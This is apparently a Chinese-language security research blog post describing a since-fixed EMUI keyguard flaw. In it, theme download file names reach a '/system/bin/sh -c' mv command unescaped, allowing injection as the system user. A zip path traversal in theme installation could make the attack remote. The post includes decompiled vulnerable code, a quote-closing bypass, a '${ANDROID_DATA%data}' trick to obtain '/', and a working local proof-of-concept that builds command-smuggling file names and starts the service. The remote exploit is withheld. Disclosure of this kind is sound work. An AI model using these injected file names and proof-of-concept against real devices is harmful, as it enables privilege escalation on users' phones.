作者:flanker017
(广告:我的微信公众号,分享前沿信息安全漏洞研究,欢迎关注)
各位Android用户一定对主题包不陌生,这应该是Android相对于iOS可定制化的一大优势。 说到主题包,各位会想到什么?这个?
哦不对,跑题了。那这个?
好了又跑题了,下面是正文。两年前,我们对EMUI做了一次审计,发现了数十个各种各样的问题,从系统崩溃重启到system/内核权限代码执行,都早已报给了华为并得到了修复。 其中有些漏洞的挖掘和利用过程还是很有意思的,在这里总结成系列文章分享给大家。下面介绍的是一个通过恶意主题远程和本地均可以发起攻击拿到system权限的漏洞。在主题商店或者第三方渠道下载安装了这样一个主题,手机就会被拿到system权限。
EMUI中的锁屏应用,也就是keyguard应用, 负责系统主题和锁屏的下载、管理工作。 这段Manifest中可以看出,其以system uid运行,具有用户态比较高的权限。
<manifest android:sharedUserId="android.uid.system" android:versionCode="30000" android:versionName="3.0.5.1" coreApp="true" package="com.android.keyguard" platformBuildVersionCode="21" platformBuildVersionName="5.0-eng.jenkins.20150930.140728" xmlns:android="http://schemas.android.com/apk/res/android">
对odex过后的文件做了下反编译,下面这部分代码引起了我们的注意。这部分代码会在新主题被下载过之后执行,基本的作用是扫描主题存储目录,将所有文件名含有,对文件做相应刷新操作。
final class DownloadServiceHandler extends Handler {
private void downloadFinish(ArrayList arg5, boolean arg6) { //... UpdateHelper.switchChannelFilesName(DownloadService.this.getBaseContext(),".downloading",".apply", arg5); File[] v0 = UpdateHelper.queryChannelFiles(".apply");
if(v0 == null || v0.length <= 0)
{this.handleFailed();}
else
{
DownloadService.this.handleChannelDownloadFinish(arg5, arg6);
}
//… DownloadService继续追下去
com.android.huawei.magazineunlock.update.UpdateHelper switchChannelFilesName
public static boolean switchChannelFilesName
(Context arg8, String arg9, String arg10, ArrayList arg11)
{
boolean v5;
File[] files=UpdateHelper.queryChannelFiles(arg9,arg11);
if(files == null || files.length == 0 )
{
v5 = false;
}
else
{
int i;
for(i = 0 ; i < files.length; ++i) {
String path = files[i].getAbsolutePath();
String newName = path.replaceAll(arg9,arg10);
if(!files[i].renameTo(new File(newName))
&&
!CommandLineUtil.mv("root",CommandLineUtil.addQuoteMark(path), CommandLineUtil.addQuoteMark(newName)))
{
Log.i("UpdateHelper" , "switch channel files , mv failed");
}
}
v5 = true;
} return v5;
}
看起来第一次是调用File.renameTo,如果失败了,再次调用CommandLineUtil.mv函数。
queryChannelFiles函数的作用是扫描 /sdcard/MagazineUpdate/download目录下的一级File,如果文件名包含通配符,那么返回该File.
CommandLineUtil.mv函数是做什么的?
public static boolean mv (String arg4, String arg5, String arg6 ) {
Object[] obj = new Object[2];
obj[0] = arg5.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg5) : arg5;
obj[1] = arg6.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg6) : arg6;
return CommandLineUtil.run(arg4 , "mv %s %s", obj); }
private static InputStream run (boolean arg6, String arg7, String arg8 , Object[] arg9) {
InputStream v0 = null ;
String[] str2 = new String[3];
if(arg9.length > 0) {
String str1 = String.format(arg8,arg9 );
if(!TextUtils.isEmpty (((CharSequence)arg7))) {
str2[0] = "/system/bin/sh";
str2[1] = "-c";
str2[2] = str1;
v0 = CommandLineUtil.runInner(arg6, str2);
}
} return v0;
}
这不是”/system/bin/sh -c”,命令注入了嘛!
事情就这么结束了?
那当然不是,否则这个漏洞也没必要写个博客了。 仔细看下这个函数,我们要构造payload需要若干个条件
CommandLIneUtil.addQuoteMark
的过滤renameTo
失败CommandLineUtil.addQuoteMark
是如何过滤的: public static String addQuoteMark(String arg2) { if(!TextUtils.isEmpty(((CharSequence)arg2)) && arg2.charAt(0) != 34 && !arg2.contains("*")) {
arg2 = "\"" + arg2 + "\"";
} return arg2;
}
这个好像没什么用嘛…直接闭合下,KO
然后再来看第二个,如何让renameTo失败? 我们来看下Java 官方文档:
renameTo
public boolean renameTo(File dest)
Renames the file denoted by this abstract pathname.
Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able to move a file from one filesystem to another, it might not be atomic, and it might not succeed if a file with the destination abstract pathname already exists. The return value should always be checked to make sure that the rename operation was successful.
大意就是,大爷我(Oracle)也不知道这帮孙子究竟把这个API实现成什么样子了,不同平台的不同孙子做法不一样,因为他们对应的syscall实现不一样。那么Android平台上的JVM是不是这样的一个孙子? 如下代码告诉了我们结果:
Runtime.getRuntime.exec("touch /sdcard/1");
Runtime.getRuntime.exec("touch /sdcard/2");
System.out.println(new File("/sdcard/1").renameTo(new File("/sdcard/2")));
Err…没这么简单,返回的是true。 那我们再回过头来看具体的syscall描述:
SYNOPSIS top
#include <stdio.h>
int rename(const char *oldpath, const char *newpath);
rename() renames a file, moving it between directories if required.
Any other hard links to the file (as created using link(2)) are
unaffected. Open file descriptors for oldpath are also unaffected.
Various restrictions determine whether or not the rename operation
succeeds: see ERRORS below.
If newpath already exists, it will be atomically replaced, so that
there is no point at which another process attempting to access
newpath will find it missing.
//...snip
oldpath can specify a directory. In this case, newpath must either
not exist, or it must specify an empty directory.
那么如果源文件是目录,目标文件已存在且不是非空目录,那么自然就返回false了。
再回过头来看我们可以控制的参数,
String path = files[i].getAbsolutePath();
String newName = path.replaceAll(arg9,arg10);
if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil. addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {
我们需要构造出合法的文件名,以此作为payload,实现代码执行。但是问题就来了:文件名中是不能出现/这种路径符号的(否则就成一个目录了),但是没有了这个路径符号,我们又基本上无法执行任何有意义的命令!(即使reboot也是需要path的)
事实上,在最开始确认这个漏洞的时候,我思来想去,最终用了如下的payload来首先确定漏洞存在:
File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
input keyevent是少有的几个不需要设置PATH也不需要绝对路径就可以执行的命令,但是没什么卵用。。。
这时,我掐指一算,想起来了小时候日站的一个trick: bash/ash允许通过通配符的方式从已有的字符串中提取出局部字符串。 已有的字符串又有什么呢?环境变量
echo $ANDROID_DATA/data
S=${ANDROID_DATA%data}
echo $S
/
这样我们就可以提取出一个/,以$S的形式表示。而这个在文件名中是完全合法的。通过如下代码构造文件,随后通过intent触发service,我们就能够实现以systemuid执行任意binary的目的。
void prepareFile1() throws IOException {
//File file = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".apply.a");
//File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
File file = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".apply.a");
File file2 = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".downloading.a");
file.createNewFile();
file2.mkdir();
}
void startPOCService(){
ChannelInfo info = new ChannelInfo();
info.downloadUrl = "http://172.16.4.172:8000/dummy";
info.channelId = "ddd";
info.size = 10110240;
ArrayList<ChannelInfo> list = new ArrayList<>();
list.add(info);
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.keyguard","com.android.huawei.magazineunlock.update.DownloadService"));
intent.setAction("com.android.keyguard.magazinulock.update.DOWNLOAD_CHANNEL");
intent.putParcelableArrayListExtra("update_list", list);
intent.putExtra("type",6);
startService(intent);
}
但这个只是一个本地exp,有没有办法远程呢? 我们注意到,所谓的主题文件,实际上是一个zip压缩包。主题的安装最终指向如下路径:
public static void applyTheme(Context arg6 , String arg7) {
PackageManager packageManager0 = arg6\. getPackageManager();
HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
try {
packageManager0.getClass().getMethod("installHwTheme", String.class).invoke(packageManager0 ,
arg7);
} catch()//...
}
HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
}
这是一个在system_server中实现的服务,实现在huawei.android.hwutil.ZipUtil.unZipFile。代码比较长,这里就不贴了。聪明的读者应该已经意识到了 没有过滤ZipEntry,可以实现路径回溯。
我们只要在主题包中插入包含精心布置的命令执行字符串的entry,就可以实现本地攻击同样的效果。 说到这里,有个需要澄清的地方是:在Android5之后,主流机型system_server/system_app进程写dalvik-cache的能力已经被SELinux禁止掉了,即使说他们都是systemuid。所以单个ZipEntry漏洞已经不存在通杀的利用方法。我们可能需要找一些动态加载的代码进行覆盖。 但并不妨碍我们将这个与上述漏洞结合起来,实现完整的远程代码执行。
One theme to system privilege? 上面的分析完整地告诉了这是如何达到的。鉴于攻击的危害性,这里不会放出远程利用的exploit,但是整个漏洞的利用过程,还是蛮有意思的XD
"嘿嘿,前面不让进,我就走后门" - EMUI中另一个system提权漏洞简析。